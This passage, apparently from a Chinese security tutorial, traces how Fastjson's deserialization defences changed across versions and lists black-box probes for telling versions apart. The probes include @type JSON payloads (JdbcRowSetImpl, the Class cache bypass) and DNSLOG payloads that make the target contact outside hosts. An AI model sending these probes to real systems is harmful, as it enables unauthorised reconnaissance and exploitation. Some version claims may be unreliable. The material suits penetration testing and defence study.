利用aspectjtools、ognl、dom4j、xalan结合common-io进行文件读写。
当然这些利用方式更偏向与白盒,黑盒的化只能用扫描器跑了,毕竟在没有源码的情况下很难完整的判断系统是否具有对应依赖,甚至是对应版本。因此黑河只能是要扫描器进行扫描。具体利用方式我就不一一去分析了,可以参考下面这个项目进行学习,ShiroAndFastjson
4. 防御阶段
4.1.防御方案演进
- 以下是 Fastjson 防御机制的版本演变总结,涵盖 默认配置变化(autoType开关、黑/白名单) 和 关键安全特性(Safemode) 的演进:
版本防御机制演变总览
版本范围 | 默认 autoType 状态 |
防御机制 | 关键特性/漏洞 |
---|---|---|---|
≤1.2.24 | 开启(无限制) | 无黑名单/白名单 | 完全无防护,可任意反序列化类(RCE 高发) |
1.2.25~1.2.47 | 默认关闭 | 黑名单拦截(denyList ) |
首次引入黑名单,但存在缓存绕过漏洞(如1.2.47) |
1.2.48~1.2.67 | 默认关闭 | 白名单优先 + 黑名单兜底 | 修复缓存漏洞,强制白名单校验 |
1.2.68+ | 默认关闭 | 增强白名单 + 通配符支持 | 扩展默认白名单,修复历史漏洞 |
1.2.83+ | 默认关闭 | SafeMode(安全模式) | 彻底禁用 @type 功能,杜绝反序列化攻击 |
各阶段详细说明
1. 无限制阶段(≤1.2.24)
- 默认
autoType
状态:开启(无显式配置,等效于autoTypeSupport=true
)。 - 防御机制:无黑名单或白名单,允许任意类通过
@type
反序列化。 - 风险:可直接加载任意类(如
com.sun.rowset.JdbcRowSetImpl
),导致 远程代码执行(RCE)。
2. 黑名单阶段(1.2.25~1.2.47)
- 默认
autoType
状态:关闭(autoTypeSupport=false
)。 - 防御机制:
- 黑名单(
denyList
):拦截高危类(如ClassLoader
、DataSource
、JdbcRowSetImpl
等)。 - 白名单:未明确配置,仅允许部分基础类型(如
java.util.List
)。
- 黑名单(
- 漏洞:
- 缓存绕过漏洞(1.2.47):通过
java.lang.Class
预加载恶意类至缓存,绕过黑名单。
- 缓存绕过漏洞(1.2.47):通过
- 安全建议:升级至 1.2.48+,避免使用 1.2.47。
3. 白名单优先阶段(1.2.48~1.2.67)
- 默认
autoType
状态:关闭。 - 防御机制:
- 白名单优先校验:即使开启
autoType
,也必须匹配白名单(acceptList
)或手动添加信任路径。 - 黑名单兜底:拦截已知高危类。
- 默认白名单:少量核心类(如
java.lang.Integer
、java.util.Date
)。
- 白名单优先校验:即使开启
- 修复内容:
- 修复缓存绕过漏洞。
- 将
java.lang.Class
加入黑名单。
- 限制:白名单范围较窄,需手动扩展业务相关类。
4. 增强白名单阶段(1.2.68~1.2.82)
- 默认
autoType
状态:关闭。 - 防御机制:
- 扩展默认白名单:包含更多 JDK 内置类(如
java.lang.Cloneable
)。 - 支持通配符:允许配置包路径(如
com.example.model.*
)。
- 扩展默认白名单:包含更多 JDK 内置类(如
- 安全改进:
- 修复历史漏洞(如
TemplatesImpl
链的利用限制)。 - 优化黑名单覆盖范围。
- 修复历史漏洞(如
5. SafeMode 阶段(1.2.83+)
- 默认
autoType
状态:关闭。 - 新增防御机制:
- SafeMode(安全模式):
通过ParserConfig.getGlobalInstance().setSafeMode(true)
开启后,完全禁用@type
功能,任何包含@type
的 JSON 字符串均抛出异常。
- SafeMode(安全模式):
- 默认白名单:进一步精简,仅保留最安全的核心类。
- 设计目标:彻底杜绝反序列化攻击,适用于高安全场景。
关键版本对比表
版本 | 默认 autoType |
默认黑名单 | 默认白名单 | SafeMode 支持 |
---|---|---|---|---|
1.2.24 | 开启 | ❌ | ❌ | ❌ |
1.2.25 | 关闭 | ✔️ | ❌ | ❌ |
1.2.47 | 关闭 | ✔️ | ❌ | ❌ |
1.2.48 | 关闭 | ✔️ | ✔️ | ❌ |
1.2.68 | 关闭 | ✔️ | ✔️(扩展) | ❌ |
1.2.83 | 关闭 | ✔️ | ✔️(精简) | ✔️ |
总结
- 无限制阶段(≤1.2.24):完全开放,风险最高。
- 黑名单阶段(1.2.25~1.2.47):基础防御,存在绕过漏洞。
- 白名单阶段(1.2.48+):逐步强化,修复历史漏洞。
- SafeMode 阶段(1.2.83+):终极防御,彻底禁用
@type
。
始终遵循 最小化信任原则,避免依赖 Fastjson 的默认配置应对高风险场景。
5.黑盒测试中的版本探测
在渗透测试或安全评估中,探测目标使用的 Fastjson 版本 是评估反序列化漏洞风险的关键步骤。以下是在黑盒环境中常用的探测方法及其原理:
1. 通过报错信息特征识别
通过报错信息识别需要服务端配置报错显示,server.error.include-message=always
(1) 利用AutoCloseable和异常JSON接口
Payload:
1
{"@type":"java.lang.AutoCloseable"
版本特征:
- 返回版本信息。
- 但是不一定准确,可能返回版本信息降级,例如80版本可能返回可能是76版本。

#### (2) 利用 @type
参数触发黑名单拦截
- Payload:
1
{"@type":"com.sun.rowset.JdbcRowSetImpl"}
- 版本特征:
- 1.2.25~1.2.47:返回 autoType is not support
,但可能暴露黑名单机制。
- **1.2.48+**:返回更具体的错误信息(如 autoType is not support. java.lang.AutoCloseable
)。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl"} |
2. 通过特性支持差异探测
(1) 测试 Feature.SupportNonPublicField
支持
Payload:尝试反序列化非公有字段。
1
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
版本特征:
- ≤1.2.24:无防护,直接加载类。
- 1.2.25~1.2.47:触发缓存绕过漏洞(若成功加载,可能返回 JNDI 连接错误)。
- **1.2.48+**:返回
autoType is not support
。
(2) 测试 autoTypeSupport
默认状态
Payload:尝试加载非白名单类。
1
{"@type":"java.util.Random"}
版本特征:
- 1.2.25~1.2.47(autoType关闭):返回
autoType is not support
。 - 1.2.48+(autoType关闭):同上,但错误信息更明确。
- 若目标开启 autoType:可能返回类不存在或依赖错误(如
ClassNotFoundException: java.util.Random
)。
- 1.2.25~1.2.47(autoType关闭):返回
- Payload: 利用CookiePolicy类进行autoTypeSupport
1 | [{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"f59984c3.log.cdncache.rr.nu"}] |
- 返回特征:如果dnslog成功回显,表示autoTypeSupport开启。回显失败,表示关闭。
3. 利用版本独有特性
(1) 时间格式化差异
Payload:发送不同格式的日期字符串。
1
{"date":"2023-10-01T12:00:00Z"}
版本特征:
- **1.2.36+**:支持 ISO 8601 日期格式(需开启
Feature.AllowISO8601DateFormat
)。 - 旧版本:可能解析失败或返回默认格式。
- **1.2.36+**:支持 ISO 8601 日期格式(需开启
(2) 反序列化字节码支持(TemplatesImpl 链)
- Payload:构造
_bytecodes
字段的恶意 JSON(需开启Feature.SupportNonPublicField
)。 - 版本特征:
- 1.2.22~1.2.24:直接执行字节码。
- **1.2.25+**:默认拦截
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
。
4. 响应头与库路径泄露
(1) 观察 HTTP 响应头
- 特征:某些框架集成 Fastjson 后,错误响应头可能包含库信息:
1
X-Powered-By: Fastjson/1.2.68
(2) 触发类路径泄露
Payload:利用反序列化错误触发类加载器信息。
1
{"@type":"java.lang.ClassLoader"}
响应特征:
- 1.2.25~1.2.47:返回
autoType is not support
。 - **1.2.48+**:返回
ClassLoader is denied
。
- 1.2.25~1.2.47:返回
5.出网探测
- DNSLOG:利用dnslog进行出网探测
1 | {"name":{"@type":"java.net.Inet4Address","val":"25dadd82.log.dnslog.myfw.us"}} |
不同版本的DNSLOG探测
- fastjson < 1.2.48
1
2
3
4
5[
{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},
{"@type":"java.io.ByteArrayOutputStream"},
{"@type":"java.net.InetSocketAddress"{"address":,"val":"48_.{{.Variables.DNS}}"}}
]- 1.2.48 ≤ fastjson ≤ 1.2.68
1
2
3
4
5
6
7
8
9
10{
"a": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://68_.{{.Variables.DNS}}"
}
}
}- 1.2.68 < fastjson ≤ 1.2.83
1
2
3
4
5
6
7
8
9
10
11
12
13
14[
{
"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException",
"x":{
"@type":"java.net.InetSocketAddress"{"address":,"val":"80_.{{.Variables.DNS}}"}
}
},
{
"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException",
"message":{
"@type":"java.net.InetSocketAddress"{"address":,"val":"83_.{{.Variables.DNS}}"}
}
}
]
6.正则延迟探测
- 在目标无法出网时,且无报错信息时我们可以利用正则表达式来进行延迟探测。
- payload:
1 | { |
- 返回特征:
- 当版本在1.2.36-1.2.62版本之间时,产生延时响应,否则不产生延迟响应。
7.依赖探测
payload:利用Character类和畸形payload进行依赖探测
eg:探测JndiObjectFactory依赖是否存在(可将shiro依赖更换为不同依赖类路径进行探测)
1 | { |
返回特征:
- 具有依赖时
1
2
3
4
5
6
7{
"timestamp": "2025-04-18T08:30:21.258+00:00",
"status": 500,
"error": "Internal Server Error",
"message": "can not cast to char, value : class org.apache.shiro.jndi.JndiObjectFactory",
"path": "/json"
}
8. 自动化探测工具
(1) FastjsonScan
功能:批量检测 Fastjson 版本及漏洞。
命令:
1
python FastjsonScan.py -u http://target.com/api
(2) Burp Suite 插件
- 插件推荐:
Fastjson-Detector
或Freddy
(支持被动扫描)。
版本判定对照表
探测特征 | 可能版本 |
---|---|
无防护,直接执行 TemplatesImpl |
≤1.2.24 |
缓存绕过漏洞有效(JdbcRowSetImpl) | 1.2.25~1.2.47 |
返回 SafeMode not support |
≥1.2.83 |
支持 Feature.SupportNonPublicField |
1.2.25+(需显式开启) |